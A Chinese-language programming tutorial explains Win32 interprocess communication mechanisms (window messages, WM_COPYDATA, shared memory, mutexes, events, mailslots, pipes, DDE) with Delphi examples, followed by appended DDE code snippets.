此外，IPC有助於系统的安全与稳定。由於Win32各个行程彼此独立的特性，一个行程死掉了，其他的行程还可以继续跑下去，对於某些稳定性要求很高的系统而言, 值得以额外的负担(Overhead)交换系统的强固性(robustness)。嗯! 我的意思是说，因为系统对稳定性的需求要求较高，值得拆开来做甚至额外的备援系统，既然工作拆成两个以上，此时必然需要IPC。

关於IPC，一般人可能会对其有「执行效率缓慢」的印象，这当然不能说是错误的，但绝不是公平的评语。这麽说吧：一个主管亲自去做一件事，往往会比先说明再授权下属去做来得快，这是单一工作时的情况；然而如果管理者同时有好几件事在手上，托付别人去做才能使得整个公司的效能提高。换句话说，如果能善用 IPC，整体的系统效能不仅不会下降，反而可能因为充分利用整个运算群的能力而有提升。

我们的第一个 IPC 例子
每个图形介面的视窗应用程式都接受并处理讯息(Message)，因此，使用讯息伫列通知其他的行程是脑中很自然会浮现的第一个想法；换句话说，两行程间彼此互相以 SendMessage() 或 PostMessage() 传送讯息通知对方。

即然要互送讯息，就需要一个彼此都认得的讯息编号。於是，除了 Windows 标准的讯息编号之外，我们还需要额外定义一个(一些)讯息。

行程通讯间用来约定讯息编号常用的方法是呼叫RegisterWindowMessage() API函数。这个函数只有一个字串型别的引数，Windows系统会检查我们传入的讯息名称并传回一个安全不重覆的讯息编号，假如传入的讯息名称早已经登记有案，则系统传回的是稍早传给那个行程的相同编号。

换句话说，两支程式只要彼此都用相同的讯息名称呼叫RegisterWindowMessage() 注册讯息，系统便会都给两者一个相同的自订讯息编号。

接下来要送出讯息了，可是，要送给谁呢？嗯，我在这 使用的方法是：第一次先用广播的，每一个视窗程式都会收到通知，讯息的短叁数(wParam)中写明发讯视窗的 Handle 值，如果是同志，它自然明白这个讯息代表了什麽，并且也使用SendMessage() 回送约定的讯息表示收到。同样的，讯息的短叁数注明自己的Handle。於是，茫茫人海的小俩口终於得知对方的下落，以後就不再需要公开寻人可以透过Handle值直接与对方联络了。

除了讯息编号，讯息的wParam，lParam长短叁数也可以用来进一步约定通讯的细节。事情进展得似乎十分顺利，现在我们知道合作对象，也确信它明白我们的讯息代表什麽。虽然简单，但是这种暗通款曲的方式是系统默许的。不过，我们还需要再多解决一个问题。

由於SendMessage 只有 wParam，lParam 两个 DWORD 型别的长短叁数，携带的资料量十分有限。很显然的，我们需要能够一次传送更多资料的方法。Windows 也的确提供了许多交换资料的机制，我在这篇文章中将会一一说明，其中最简便的方法是使用 WM_COPYDATA 讯息，作法如下

将资料内容指定到COPYDATASTRUCT这个资料结构中。
必须使用SendMessage()送出 WM_COPYDATA讯息，讯息的短叁数是发讯端视窗的Handle值，长叁数的内容则是指向COPYDATASTRUCT的指标。
受讯端行程收到讯息时，以长叁数提供的线索依址取回资料。
小俩口书信往返时系统是居中牵线的红娘。就在发讯视窗送出WM_COPYDATA讯息,受讯视窗取得内容之间，系统在背後默默接管记忆体管理的琐事。有关WM_COPYDATA的使用有一点需要提醒读者的，收讯端应该视这块记忆体是唯读的，如果後来程式处理需要这些资料，应该要先将之拷贝出来。

多亏有了这项特殊的性质，使得WM_COPYDATA与讯息沟通模型成为 Win32 平台上少数同时支援 16-bit与32-bit应用程式的IPC机制。你可以在WM_COPYDATA目录找到范例程式TwinApp的完整原始程式。

IPC基本概念的讨论
总结来说，上述的例子是两个行程彼此利用RegisterWindowMessage()注册所得的编号对送讯息，并且利用讯息的长短叁数进一步协定通讯的内容与细节，对於资料量比较大的资料则使用WM_COPYDATA。

眼尖的读者在检视TwinApp时也许会察觉到一些DDE的影子。当然，比起DDE来说，TwinApp范例程式的讯息沟通模型实在阳春，缺点也不少。不过我的用意本来就不在於一开始就写一个大型程式出来吓唬人；相反的，我打算提供一个简单的例子，并且从这个例子支解出有关行程通讯的几个重要的观念与特性，这些特性并不是TwinApp所独有的，对於其他IPC机制的讨论也有相同的价值，等我们扣紧了对IPC的感觉，再陆续讨论其他 Win32 平台所支援的IPC机制。

话说内行的看门道，外行的看热闹。或许我算不得顶尖高手，但至少应该比看热闹的多看出一些东西来吧! :p 观察TwinApp这个例子 --

行程之间彼此有共同的通讯协定
通讯的仅限於单机，稍候讨论的IPC有些则是可以跨过机器边界甚至网域.
Process在行程通讯中的角色扮演
一般来说，叁与IPC的行程可以归类成Client与Server两类，所谓的Server指的是提供服务的行程；Client指的是使用或向Server要求服务的行程。

真实的世界中，人的角色扮演是随情境而变的。我们会是别人的子女，但也同时是别人的爸妈; 即使同样是夫妻，居家生活与外出场合的行为表现也有差异。界定某一程式是Client与Server的角色端视当时的情况而定并非绝对的。举例来说，文书处理软体可能向试算表要求库存统计资料，此时试算表扮演的是Server的角色，但在试算表向库存管理系统索取统计资料的场合，试算表则是Client。

以我们的第一个例子TwinApp来说，彼此既接收讯息，同时也主动发出讯息。既可以是Client也可以是Server，没有明显的主从之别，对於这样的情况，有一个专有名词叫「对等模式」(Peer-to-peer model) 。

同步与非同步的讨论
TwinApp使用SendMessage()送出讯息，程式会暂停在SendMessage()那行等待讯息处理结束返回後再继续下一列程式，这样的情况属於同步处理。同步(Synchronous)与非同步(Asynchronous)在IPC中是一个非常重要的论题，有必要先对这两个名词先做说明:

假设程序A呼叫程序B时，若是A先暂停一直等到程序B结束返回後再继续程序A的下一动作，我们称其为同步(Synchronous)；另一种情况是 -- 如果A呼叫B之後，不等B执行完，就直接进行A的下一动作，则是所谓的不同步。

以提款机为例，我们会先插入卡片，输入密码，键入金额，然後是内部安全与帐务查核，最後收回卡片及金额，列印交易明细，一动接一动按步就班；同样是提款这件事，某位老板可以交待会计小姐去提款，交待完之後他就迳自去忙别的事，等到会计小姐提款回来，再向老板回报，这样的程序是所谓的非同步。

如果进一步观察提款这个例子：会计小姐什麽时候出门什麽时候回来是算不得准的，假定这位老板除了会计小姐之外，另外还交办旁人其他工作，可以预见的，不一定那一件工作会先做完。由於执行的次序无法预估，采用非同步方式设计的行程通讯将会多出许多协调与事件处理的工作，使得彼此之间总互相期待点什麽。

叁与通讯的行程个数，讯息资料的流向
在TwinApp中，简单的只有两个端点。但在实际应用的场合，Server通常得同时应付好几个Client的要求，如何妥善照顾到每一个Client同时要兼顾系统执行的效能，是门很大的学问。

当行程对行程搭起通讯的鹊挢时，这座挢是单行道或者是双向通行，同样也值得列入评估要素。不过有一点需要注意的: 不论选择单工或双工的IPC机制，并不构成我们建立双向沟通无可跨越的天堑，话说山不转路转，盖两座单向的挢一样可以有双向通行的效果，不过就先天本质的特性来说，某些IPC机制确实比较容易作出双工的效果，当然也有天生大嘴巴适合用来广播的，例如本文稍後叙述的MailSlot。

资料的可视性与安全性
交换的资料在行程之间当然必须是可见的，TwinApp是用WM_COPYDATA交出资料。IPC有些技术是可以让行程共同存取资料的，稍候我们在 Shared memory 时将有讨论.

是否需要有视窗或者纯Console Application也能应用.
TwinAPP是以SendMesasage()送出讯息，这表示需要有视窗才行得通。如果你设计的是纯Console Mode 的应用程式，那麽，选用不需要视窗Handle也行得通的IPC机制(例如pipe)会比较适合。

关於执行效能的讨论
许多人耽心IPC的执行效能，的确，先不说别的，光是启动另一个Process本身就比启动一个Thread 的Overhead要高上很多。如果涉及协调的问题，建立一个Mutex的时间也比Critical section慢上不知多少倍。遗憾的是我们却也别无选择，因为Critical section在Multi-Thread中固然简单好用，但是不能用在跨越行程边界的场合。
但是要说 IPC 一定使得系统效能降低，未免也太过悲观了；平视与俯看的视野是不同的。这年头大家都将Client/Server挂在嘴边，充分运用合理分配整个公司的运算资源才能提高整体的效能，我想 IPC 在这 自有其应用的价值与效益。

另外一个导致IPC执行效率不彰的元凶来自不良的设计，着名的例子是所谓的Busy-loop 一个什麽也不做只有一行程式不断地期待的回圈。以稍早的老板与会计小姐为例，如果老板交办事情之後却将全部的事都停下来，来回踱步只为专心等着会计小姐回来，时间没有花在刀口上的结果当然效率不彰。找出效率的瓶颈设法调校是件长期奋战的工作，如同管理是持续不断的合理化。

此处还有一个迷思也有待澄清，同步与非同步对於执行效能的影响是视情况而定的，并不能说非同步一定会比同步快，抽样样本很小或资料量偏小时，同步往往比非同步快。比较公允的说法应该是：同时有好几件工作要处理时，整体来说「非同步」往往快一些。以刚才的提款的事情为例，老板亲自去提款未必比小姐慢，但是如果老板同时有好几件工作要处理时，非同步的好处就很明显了。

Win32支援的IPC相关技术
上述的讨论与其说是针对TwinApp的观察，不如说是针对IPC的综合讨论。观念的说明之後是技术层次的讨论。接下来陆续介绍的是Win32 API支援的各项IPC机制 --

Clipboard
COM
Dynamic Data Exchange (DDE)
File Mapping
Mailslots
Pipes
RPC
Windows Sockets
WM_COPYDATA
剪贴簿(Clipboard)
人，其实是最佳的 IPC 机制，十分的聪明也十分的有弹性。

剪贴簿几乎是专为人类而设的标准资料交换中心。它最大的特色除了使用者导向之外，任何应用程式都允许改写其内容，同时它是可以跨越机器边界，交换的范围不仅限於单机内的各个行程。

由於它是纯使用者导向，使用剪贴簿的程式有一项传统是值得遵守的：如果不是基於使用者的操作，程式不应该主动去异动剪贴簿的内容；同样的道理，我们也不应该假设剪贴簿中有我们程式想要的资料，哪怕是不久前才刚放进去的，因为，使用者可能已经清除或改变其内容了。

剪贴簿几乎可以容纳任何的资料，除了标准支援的CF_TEXT、CF_BITMAP...等资料格式，我们可以自行注册登记其他格式的资料。但由於它的使用者导向，也由於任何程式都可以改写其内容，除非使用者愿意，不然坦白来说不太适合行程间的资料交换。这也使得应用设计IPC时，剪贴簿成为每支应用程式都标准支援但却也都适可而止的IPC机制。我们应该再多看看其他的资料交换方法。

File Mapping
在早期MS-DOS时代还没有现在这麽多 IPC机制可供利用时，使用磁碟档案来交换资料可说是一般应用程式的唯一选择。时至今日，档案不仅没有从IPC领域中消失，反而是更加发扬光大了，然而观念上早已不纯粹界定在档案系统的实体档案。的确，资料位於何处的份际如今是越来越模糊了，虚拟的记忆体实际上是档案，虚拟的档案结果是记忆体。

Win32 API 中有一个好玩的东西叫做File-mapping；基本的观念是开启一个档案并将之对映到某一块记忆体，有趣的是，虽然程式是针对这块记忆体操作，实际上改变的却是档案。
更好玩的是你不必真的在硬碟 开一个实体档案，而是使用分页置换档(paging file)的一块空间权充当作档案。这个虚拟的档案空间(或者你要说是记忆体)可以为行程间共享，通常我们管它一个特别的名字叫 Share-memory，共享记忆体。

由於它的确不是真正的档案，行程间不仅省去特定磁碟目录档案等约定，也毋须在意谁是最後走的要负责删除档案，当然啦，即使当机不会留下一些垃圾档案。彼此分享的是正好是同一块记忆体，资料一旦写入，这项改变也立即反应到别的行程。

使用ShareMemory的大致步骤如下所述

呼叫CreateFileMapping() API函数建立File-mapping核心物件.
CreateFileMapping()函数的第一个引数原本应该是CreateFile()开档所得的档案物件Handle，若是传入$FFFFFFFF则是以分页置换档(paging file)的一部划作共享记忆体。函数的最後一个引数是这块区域的叁考名称，行程间彼此将根据此一相同的识别名称叁考同一块共享记忆体。

FHandle := CreateFileMapping(
$FFFFFFFF, // Shared memory File，Handle 传入 $FFFFFFFF
nil, // 不设安全属性
PAGE_READWRITE, // 存取模式设定为可读写以便行程交换资料
0, // 使用 paging file 时一般将之设为零
Size, // 共享记忆体的大小
pchar(name)); // 其他的行程将以此名称叁考到这块共享记忆体

由於各个行程各有其逻辑定址空间，在正式存取这块共享记忆体之前，我们得将其全部或部分映射回行程本身的位址空间中。呼叫MapViewOfFile()的用意即是在此，该函数将传回mapped view 「视野」的起头(就是指标啦)，接下来的就是用这个指标存取记忆体了。
FFileView := MapViewOfFile(
Fhandle, // File-mapping object 的 Handle 值
FILE_MAP_ALL_ACCESS, // 设为 FILE_MAP_ALL_ACCESS 开放存取
0, // 模式以便顺利存取共享记忆体
0,
Size); // 预备映射回来的 byte 数

最後，别忘了使用UnmapViewOfFile()归还指标并呼叫CloseHandle()释放File-mapping核心物件。
碍於篇辐，完整的程式码请读者叁阅ShareMem目录的 DemoSMem专案。另外，为了方便使用，这些CreateFileMapping(),MapViewOfFile()等函数已经包装进TSharedMem这个类别。

Mutex
Shared memory的示范专案DemoSMem留下诸多悬疑待解，或许你也正有相同的疑问：既然两个行程都利用这块记忆体，那我们怎麽知道什麽时候资料改变了？此外，如何防止行程同时读写资料？

的确，行程通讯既是两个以上的个体，协调是必然存在的负担，要避免两个行程同时使用关键资源，Mutex(互斥器)的使用是你必备的技术。

从字面上解释，互斥意思是同一时间唯一；换句话说，同一时间最多只许握有Mutex的执行绪(Thread)有权使用关键资源，其他的执行绪若要使用只有等待。嗯! 在Mutex与Event这两节我将暂时改口为执行绪，事实上这才是真正的CPU排程单位，由於每个行程至少有个Thread(主执行绪)，这样的称呼应该是与本文行程通讯的主旨不相违背的。

就像是注册讯息，共享记忆体一样(甚至稍後的Event，MailSlot，Pipe都是)，在我们取得核心物件的Handle前，都是以「名称」叁考的，产生一个Mutex的API函数是:CreateMutex(), 以下范例采自本文所附的ChienIPC程式单元

constructor TMutex.Create(const name: string);
begin
FHandle := CreateMutex(
Nil, // 安全防护属性, 暂时传入nil采用预设值
False, // 执行绪是否一开始就握有 mutex 的所有权
pchar(name)); // Mutex核心物件的名称
if FHandle = 0 then Abort;
end;

好极了，现在我们有了一个Mutex，该怎麽使用呢? 我用一个情节来说明：如果一群人在一起开会，每个人桌子前面各摆着一支麦克风，为了让大家听清楚彼此说什麽，这些麦克风暂时都是关的，规定只有主席可以透过中央控制系统开启回路。要说话的得先举手表示：「我要我要」，如果没有别人举手也没人正在发言，主席便打开开关将发言权交给他，然後这个人的手放下开始讲话。此时若是其他人也要讲话，根据规则得先举手，在别人讲完交出发言权前只有继续举手等待的份。当然，排队的人，可以选择手一直举着；或者他只打算等三分钟，手酸了就放下来。

执行绪要求拥有Mutex的方法是呼叫WaitForSingleObject()(我要我要，举手等待)，此时程式将暂停(Blocking)在这列。倘若此时正好没有别的执行绪拥有Mutex (没人讲话)，系统会短暂的将Mutex设为Signaled(激发状态)，使得WaitForSingleObject()正常返回，同时，系统也会将这个Mutex的所有权交给这个执行绪，然後程式继续执行，握有Mutex所有权者开始使用关键资源，并尽快在事後以ReleaseMutex()交出Mutex拥有权。

关於程式实入这部分请您叁阅DemoSMem范例程式的读取与写入程式，同样的，有关Mutex的API函数也已包装进TMutex类别方便你的使用。

Event
讨论过行程之间以Mutex协调避让的技术之後，Shared memory的示范专案DemoSMem尚留下一个悬疑待解：既然两个行程都利用这块记忆体，那我们怎麽知道什麽时候资料被改变了呢? 以一个回圈定期不断去抓资料回来比对不仅程式写起来累人，执行效率也很低落。

当然，回到一开始提出的方法，写入资料的行程用讯息一一个别通知其他合作夥伴是可以行得通，不过，事情该有更好的解决之道才是。Win32的核心物件中有一种叫Event(事件)物件，方便我们在某一事件发生时设定其状态以便叁与通讯的行程注意到某一件重要事情的发生。

产生一个Event物件的方法是呼叫CreateEvent() API函数:

HANDLE CreateEvent(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset, // flag for manual-reset event
BOOL bInitialState,// flag for initial state
LPCTSTR lpName // address of event-object name
);

同样的，最後一个引数是执行绪在取得Event Handle前叁考同一Event物件的识别名称，如果相同名称的Event物件稍早已经产生而且叁用次数尚未归零消灭，并不会多产生一个Event物件，系统只单纯的将其叁用次数加一，执行绪彼此得以叁考到同一个物件。第三个引数用来设定Event物件的初值是否为Signaled(激发状态) 。第二个引数用来设定事件的激发状态是手动或自动；所谓手动与自动的分别在於事件的状态变成Signaled(激发状态)时，要由系统自动帮我们重设回非激发状态，或者由程式自行以ResetEvent()将事件设成非激发状态。

观察DemoSMem的作法是这样的：当某一个行程修改了Shared memory的内容时，该行程以SetEvent() API 函数将Event物件的状态设为Signaled(激发状态)，叁与行程通讯的各支程式在开跑之初，除了以相同的识别名称建立(叁用)Event物件之外，还特别分派另一个Thread专司侦测特定Event物件激发状态的任务,一旦物件激发了，表示一定某一个行程修改了Shared memory的资料，此时我们知道该是重新读取资料内容的时候了。

呼! 终於将Shared memory的范例程式DemoSMem讲完了，下图是它执行的画面，彼此看来是亳无关联，但是经由共同分享的记忆体与Mutex，Event两种同步协调技术，彼此正在密切交换意见。

图: DemoSMem执行情形

MailSlot
执行DemoSMem时如果让你有广播的感觉，接下来要说的MailSlot会让你更有广播的感觉，而且它是可以跨越机器边界向网路广播的。从字面上看来，这像是与寄信有关的通讯机制，实际上它的行为也的确与其名称相符合。MailSlot就像是你的信箱，只要知道地址，任何人都可以寄信给你，不过，只有你才可以打开信箱读信。

MailSlot是一种由系统维护的虚拟档案，建立并拥有Mailslot的行程扮演Server.的角色，其他的行程包含MailSlot Server本身的行程均可以开启MailSlot写入讯息，不过，只有MailSlot Server可以读取资料的内容。这是个单一Server多个Client的机制，同时，资料只允许由Client对Server单向传送。

我想你可能也习惯了，要产生一个MailSlot物件大概也需要一个识别名称吧! :p 说不定连CreateMailSlot()函数名称都猜得一字不差。不过，这次的名称可不像先前那样可以随便高兴取什麽就取什麽的，它具有以下的固定格式:

file://ServerName/mailslot/[path]name

我第一次看到时心想: 天哪! 这该怎麽填呀? 边举例边说明会比较容易懂

\\.\mailslot\MyMailSlotName MailSlot的识别名称一定从「\\」双倒斜线开始。接下来的是机器的名称或组群网域的名称，这 的「.」句号代表的是行程所在的那部机器。再来是「\mailslot」，对於MailSlot，一定是这个单字照抄就是了。最後则是你自订的MailSlot名字。先前提到MailSlot实际上是特殊的虚拟档案，所以，要当它是档名应该也是说得通的。

的确，援引我们对於档案系统的概念，MailSlot的识别名称就像路径档名一样，可以经过适当的阶层加分类管理，例如: \\.\mailslot\Account\Note。最後再看一个例子: \\*\mailslot\MyMailSlotName，其中「*」指的是群组内的所有机器。

说得够多了，让我们动手做做看吧! 首先是建立MailSlot Server的例子，取自本文所附的ChienIPC这个程式单元

procedure TMailSlotServer.Open;
var
ASlotName: AnsiString;
begin
if FActive then Exit;
// 构成 Mailslot 识别名称
ASlotName := '\\' + FServerName + '\mailslot\' + FSlotName;
FHandle := CreateMailslot(
pchar(ASlotName), // MailSlot 识别名称
0, // 讯息长度的最大值，设为零表示不限
MAILSLOT_WAIT_FOREVER, // read time-out
nil); // 安全属性，先暂时采用预设值
if FHandle = INVALID_HANDLE_VALUE then
FActive := False
else
begin
FActive := True;
FWaitThread.Resume;
end;
end;

再强调一次，只有MailSlolt Server才可以读取资料，读取的方法是先以GetMailslotInfo()侦测讯息的长度与数量，然後以回圈逐一配置记忆体并以ReadFile()读出资料(别忘了MailSlot也是档案)，以下是一则范例:

procedure TMailSlotServer.ReadFromMailSlot;
var
NextSize: DWORD;
MessageCount: DWORD;
Result: BOOL;
Buffer: pchar;
begin
if FHandle = INVALID_HANDLE_VALUE then Exit;
// 侦测 MailSlot 中是否有资料
Result := GetMailslotInfo(Fhandle, nil,
NextSize, @MessageCount, nil);
if not Result or (NextSize = MAILSLOT_NO_MESSAGE) then
Exit;
// 如果还有资料 (MessageCount <> 0)，逐一读出资料
while Result and (MessageCount <> 0) do
begin
// 资料的长度
Buffer := AllocMem(NextSize + 1);
try
// 读出资料
FileRead(Fhandle, Buffer^, NextSize);
if Assigned(FOnDataAvailable) then
FOnDataAvailable(Self, StrPas(Buffer));
finally
FreeMem(Buffer, NextSize + 1);
end;
// 继续看看 MailSlot 中还有没有资料
Result := GetMailslotInfo(Fhandle, nil,
NextSize, @MessageCount, nil);
end;
end;

至於MailSlot的Client程式则没有什麽好说的，就当是档案迳行开启与写入即可：

procedure TMailSlotClient.Open;
var
ASlotName: string;
begin
if FActive then Exit;
// MailSlot 的识别名称
ASlotName := '\\' + FServerName + '\mailslot\' + FSlotName;
// 开启 MailSlot(档案)
FHandle := CreateFile(pchar(ASlotName),
GENERIC_WRITE, // Client 端对於 MailSlot 只能写入
FILE_SHARE_READ, // 设定为可供分享读取
Nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
FActive := FHandle <> INVALID_HANDLE_VALUE;
end;

function TMailSlotClient.WriteIntoMailSlot(
const Data:
string): integer;
begin
Result :=
0;
if FHandle = INVALID_HANDLE_VALUE then
Exit;
Result := FileWrite(Fhandle, Data[1],
Length(Data));
end;

稍早提到MailSlot适合於跨越机器边界的网路广播, 可是我也说明了只有MailSlot Server才可以读取资料，那要怎麽广播啊？答案在於MailSlot的名称。别的机器如果也用相同的名称建立MailSlot Server，一旦任一个Client对某一个MailSlot(也是经由名称来叁考)送出讯息，这份讯息会游向网路节点上各个指定同名的MailSlot，这样子就达成广播的效果。至於讯息是怎麽流来流去的，就留给系统与网路底层去伤脑筋了，程式只管以档案写入资料的方式送出资料即可。

使用MailSlot时很可能你会遇到讯息重覆的问题；也就是说，虽然MailSlot Client端只写了一个讯息，但相同的讯息MailSlot Server却可能收到两份。原因是这样的：由於Win32多重通讯协定的缘故，MailSlot在广播时，并不知道到底该采用哪一条路径，於是便各种可能的通路都传了一份。情况有点像在发布台风警报，我们在电视，广播与网路都同时会晓得有台风要来的消息。解决的方法是在资料开头处加上一些控制用的编号代码，Server据以判断是否是相同的资料。

像MailSlot这样的通讯机制可以应用在哪些场合呢? 着名的例子是WinPopup，刚才我也写了一支阳春的, 次图是MyWinpop.exe 执行的情况。由於MailSlot广播的特性，十分适合网管时用来知会使用者重要的讯息，此外，MIS系统也可以用它适时的报告异常状况，各使用者如果在「开始┃启动」中都放置这支小程式，彼此便可以之交换讯息，当讯号进来时，也会立即显示讯息的内容。

图: MyWinPop.exe执行情形

当然，你还可以想得到其他的应用。像我就觉得它很适合用来作为程式除错工具，不仅可以将程式执行的过程与情况记录下来，而且程式在网路上各节点的执行状况也将源源而来，这是一般的测试方法所不容易达成的效果。

Pipe
看过广播式的 MailSlot後，Pipe则是点对点的通讯机制，资料允许单向或双向於管子连接的两端移动。pipe可分为Anonymous pipe与Named pipe 两种，Anonymous pipe的资料只能单向流动，而且仅限於单机内使用，但却是行程重导其标准输出(Standard Output)成为另一行程之标准输入的方法；Named pipe 就如同先前讨论的各项IPC机制，由於有一个识别名称，其他的行程很容易可以依照名称找过来，通讯范围不限於单机，同时，资料允许双向流通。

DDE
如同本文第一个TwinApp这个例子，DDE也是建立在讯息通讯这个基础上的，不过它的协定内容显然严谨很多。

DDE是由Client端以WM_DDE_INITIATE广播讯息起拉开通话的序幕，Server端受理後以WM_DDE_ACK回应，连通後则是一连串Server与Client间彼此互送WM_DDE_DATA、WM_DDE_REQUEST、WM_DDE_ACK等讯息。实际的资料并不是真的经由讯息传递，而是提供线索彼此利用Atoms(由Windows系统提供的字串对照表)寻求Application(应用程式), Topic(主题)与Data(资料)等三个项目。最後，以WM_DDE_TERMINATE讯息结束对话。

行程间建立DDE连接时，当Server端的资料改变时，依资料交换的频繁与Client的主动程度，其通道的形态可分为：

Cold Link：来要才有；Client端得主动要求传送资料，如果没有来要，即使Server的资料已经改变很多了，Server对Client也置之不理。
Hot Link：有变就给；当资料改变时，Server端将主动通知Client改变的内容。
Warm Link：更新通知；当资料改变时，Server端只对Client端告知资料改变的消息，真正的资料要等Client提出要求才会送出。
由於DDE讯息通讯牵涉的实作细节颇多，为了使用方便起见，微软也提供DDE管理函式库(The DDE Management Library, 简称 DDEML), 使用上的最大差别在於使用DDEML的程式是用Callback函数处理DDE交易(Transaction) 。另外，三大项目的Application改口叫做(Service name)服务。

时至今日，讨论DDE的文献已不在少数，的确，DDE的使用应该是容易许多了，几乎没有一个Windows程式开发工具不提供一些元件或类别让程式员更方便制作DDE Server或Client程式。当然，如果你的需求只是在行程间通知某些消息，自行设计一套讯息通讯协定倒也简单得以完成任务，我想本文的第一个例子TwinApp是一个不错的提示。

其他的IPC技术
EXE通常呼叫DLL的输出函数(exports function)，某些情况下DLL也会使用EXE 事先预备的回呼(Callback)函数。函数呼叫这个观念与想法如果移植到行程通讯中会发生什麽事呢? 我的意思是说，让一个行程呼叫另一个行程的函数。Ya! 这就是所谓的 RPC，行程之间属於函数呼叫层级的合作。可以想见的，由於行程各有其定址空间，如同OLE，要达到 RPC确实需要额外标准的介面加以定义。

有关IPC的技术与观念我们已经介绍得不少了，不论是讯息交换，剪贴簿，Shared memory，DDE，MailSlot，Pipe等等，几乎都是资料的交换或者Client与Server「要求-回应」，叁与通讯的行讯必须对於交换的资料有一定程度的了解与处理能力。换句话说，在我们以DDE向试算表软体要求传回资料後，这份资料到底代表什麽得自己解释；同样的，如果要传入资料到试算表软体，即使透过现成元件的帮忙，仍然必须对试算表软体有基本的认识。

话说回来了，只有试算表自己最清楚资料代表什麽，不是吗？那麽，由它来处理资料应该才是适当的人选，强以外部程式去操作总有外行人指导内行人的遗憾。利用OLE技术将应用程式整合在一起工作确实是比较合理的作法，如果COM物件可以像电子IC一样安插进我们的程式与我们的程式一同工作，那这种我们称之为OLE Control(ActiveX)，距离拉大到网路上，DCOM这个名词你一定听说过.

想想看，终於我们可以用甲公司的统计图表元件，然後用乙公司的元件将图表传真出去，这样窗景真是美好。窗子确实只提供局部的风景，但是加装了望远镜的窗子可是一个天文台，加了风铃的窗子所提供的就不只是风景了，还有悦耳的声音。

不论是RPC或OLE，我想这都是属於本文应该讨论但肯定是来不及讨论的，这两个主题甚至以单篇文章来谈都不怎麽够用。事实上，有些地方(例如DDE这一节)我也没有提到技术方面的实作细节，碍於篇辐(这篇文章已经太长了) 日後我们会在本专栏继续以专文介绍RPC等主题。关於以Winsock作为IPC通讯机制这部分，本专栏的前一篇文章「走! 让我们上BBS聊天去」才刚说明过，在此就不再重覆了。

应用IPC到你的程式中
各项IPC的技术往往以各种方式组合在一起。例如本文提供的DemoSMem范例程式就同时用了ShareMem交换资料，同步机制则采用Mutex与Event。情况并不如想像中的复杂：既是行程通讯，那必然是两个以上行程之间的事，既是分开的，中间一定有介面存在，定义这个介面的具体内容就是所谓的协定，留意资料交换的位置与方式，需要协调避让的采用合适的同步控制加以处理。这些重点把握住了，应该心 就已经有数了。

面对各式各样的技术时，如果你正考虑应用IPC到你的程式中，首先得正视自己的需求，不妨提出类似以下的问题问问自己，最好将之写下来

是否真的需要跨行程处理，成效何在？
技术实作的难易程度与所需付出的成本
资料的流向是单向或双向，需不需反馈(feedback)的控制查核
这些工作只在单机完成，或者需要连上网路，范围只在公司内部区域网路或者是广域网路
叁与通讯的行程最多与平均的数量是多少？
只在一种作业环境，或者可能同时要满足不同的作业平台
执行效能( performance)是不是关键需求.
应用程式使用 GUI 介面或者 console mode
接下来开始比较各项IPC的特性，哪些是与你列出的需求相符合的，有没有哪些限制是你必须要排除而避免使用的，各项IPC经过与先前写下的需求交叉评比的结果，积分高的自然是脱颖而出。最後，事情如果能简单解决是最好，开发时程缩短成本自然降低，而且日後维护容易。


用DDE连接Word

unit Unit1;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, DdeMan;

type
TForm1 = class(TForm)
DdeConv:
TDdeClientConv;
Word: TButton;
procedure WordClick(Sender: TObject);
private
{
Private-d閏larations }
public
{
Public-d閏larations }
end;

{DdeConv properties are :  }
{  ConnectMode : ddeManual
}
{  DdeService  : [None]    }
{
DdeTopic    : [None]    }
{  FormatChars :
False     }
{
Name        : DdeConv   }

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WordClick(Sender: TObject);
begin
if DdeConv.SetLink( 'WINWORD', 'D:\WINWORD\DDETEST' ) and
DdeConv.OpenLink then
begin
ShowMessage( 'Link with WinWord established !' ) ; { be sure the link exist }
DdeConv.PokeData( 'Bm1', 'Data from Delphi !' ) ; { insert 'Data from Delphi' in word document }
DdeConv.CloseLink ;
end ;
end;

end.


调用系统查找对话框

 procedure TForm1.Button1Click(Sender: TObject);
begin
with TDDEClientConv.Create(Self) do begin
ConnectMode := ddeManual;
ServiceApplication := 'explorer.exe';
SetLink( 'Folders', 'AppProperties');
OpenLink;
ExecuteMacro('[FindFolder(, C:\DOWNLOAD)]', False);
CloseLink;
Free;
end;
end;


DDE的一个例子

1. The Client can 'POKE' data to the server.
2. The Server can automaticaly pass data to the Client and the Client
will update a graph based on the results from the Server.
3. The Server's Data changes, then the Client will make a request to the
Server for the new data, then update the graph.

***** How to handle the program. *****

Following are 8 files concatenated together. Each one has a
{ *** BEGIN CODE FOR FILENAME.EXT *** } CODE { *** END CODE FOR
FILENAME.EXT *** } take each block of code BETWEEN THE { *** } lines and
place in a file of the corresponding name, then compile and have fun !!!!

{ *** BEGIN CODE FOR DDEMLCLI.DPR *** }
program Ddemlcli;

uses
Forms,
Ddemlclu in 'DDEMLCLU.PAS' {Form1};

{$R *.RES}

begin
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
{ *** END CODE FOR DDEMLCLI.DPR *** }

{ *** BEGIN CODE FOR DDEMLCLU.DFM *** }
object Form1: TForm1
Left = 197
Top = 95
Width = 413
Height = 287
HorzScrollBar.Visible = False
VertScrollBar.Visible = False
Caption = 'DDEML Demo, Client Application'
Font.Color = clWindowText
Font.Height = -13
Font.Name = 'System'
Font.Style = []
Menu = MainMenu1
PixelsPerInch = 96

OnCreate = FormCreate
OnDestroy = FormDestroy
OnShow = FormShow
TextHeight = 16
object PaintBox1: TPaintBox
Left = 0
Top = 0
Width = 405
Height = 241
Align = alClient
Color = clWhite
ParentColor = False
OnPaint = PaintBox1Paint
end
object MainMenu1: TMainMenu
Top = 208
object File1: TMenuItem
Caption = '&File'
object exit1: TMenuItem
Caption = 'E&xit'
OnClick = exit1Click

end
end
object DDE1: TMenuItem
Caption = '&DDE'
object RequestUpdate1: TMenuItem
Caption = '&Request an Update'
OnClick = RequestUpdate1Click
end
object AdviseofChanges1: TMenuItem
Caption = '&Advise of Changes'
OnClick = AdviseofChanges1Click
end
object N1: TMenuItem
Caption = '-'
end
object PokeSomeData: TMenuItem
Caption = '&Poke Some Data'
OnClick = PokeSomeDataClick

end
end
end
end
{ *** END CODE FOR DDEMLCLU.DFM *** }

